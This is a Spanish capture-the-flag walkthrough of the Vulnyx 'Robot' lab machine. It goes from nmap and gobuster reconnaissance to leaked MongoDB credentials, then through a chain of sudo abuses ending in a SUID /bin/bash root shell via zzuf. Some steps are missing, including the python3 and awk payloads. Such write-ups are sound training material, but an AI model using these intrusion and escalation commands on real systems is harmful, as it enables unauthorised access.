Máquina Robot (Vulnyx)
Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutaremos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.43
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.43
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.43 -sVC
Como podemos comprobar la Máquina Victima tiene abierto el puerto 22, 80 y 27017.
Comprobamos que es lo que corre en el puerto 80.
A continuación, realizamos con la herramienta gobuster un fuzzing web, pero no encontramos nada.
Nos descargamos la imagen de la pagina web, y vemos los metadatos con la ayuda de la herramienta exiftool, para ello ejecutamos el siguiente comando:
$ exiftool image.jpg
Y obtenemos el directorio /B4ckUp_3LLi0t.
Accedemos a este directorio.
A continuación, realizamos de nuevo con la herramienta gobuster un fuzzing web por extensiones, para ello ejecutamos el siguiente comando:
$ gobuster dir -u http://10.0.2.43/B4ckUp_3LLi0t -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x bak,zip,rar
Encontramos el archivo connect.bak.
Nos lo descargamos y lo visualizamos, para ello ejecutamos los siguientes comandos:
$ wget http://10.0.2.43/B4ckUp_3LLi0t/connect.bak
$ cat connect.bak
Encontramos las credenciales mongo:m0ng0P4zz para conectarnos a la base de datos elliot de mongodb (27017), por lo tanto, nos conectamos, para ello ejecutamos el siguiente comando:
$ mongo --host 10.0.2.43 elliot -u "mongo" -p "m0ng0P4zz"
A continuación, listamos y visualizamos las colecciones, para ello ejecutamos los siguientes comandos:
> show collections
> db.elliot.find()
Obtenemos información de elliot.
Con la ayuda de la herramienta cupp nos creamos un diccionario de palabras a partir de la información obtenida, para ello ejecutamos el siguiente comando:
$ cupp -q -i
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario sh que lo podemos ejecutar como el usuario darlene, lo ejecutamos de la siguiente manera:
$ sudo -u darlene /usr/bin/sh
¡¡¡Somos Darlene!!!.
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario python3 que lo podemos ejecutar como el usuario angela. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.
Lo ejecutamos de la siguiente manera:
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario awk que lo podemos ejecutar como el usuario tyrell. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.
Lo ejecutamos de la siguiente manera:
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario zzuf que lo podemos ejecutar como el usuario root, en la ayuda de este binario encuentro que con el parámetro -c puedo ejecutar comandos, por lo tanto, le damos permisos SUID a la /bin/bash y la ejecutamos con la opción -pi para que preserve los privilegios efectivos y obtener una shell interactiva, para ello ejecutamos los siguientes comandos:
$ sudo -u root /usr/bin/zzuf -c chmod u+s /bin/bash
$ /bin/bash -pi
¡¡¡Ya somos root!!!.
















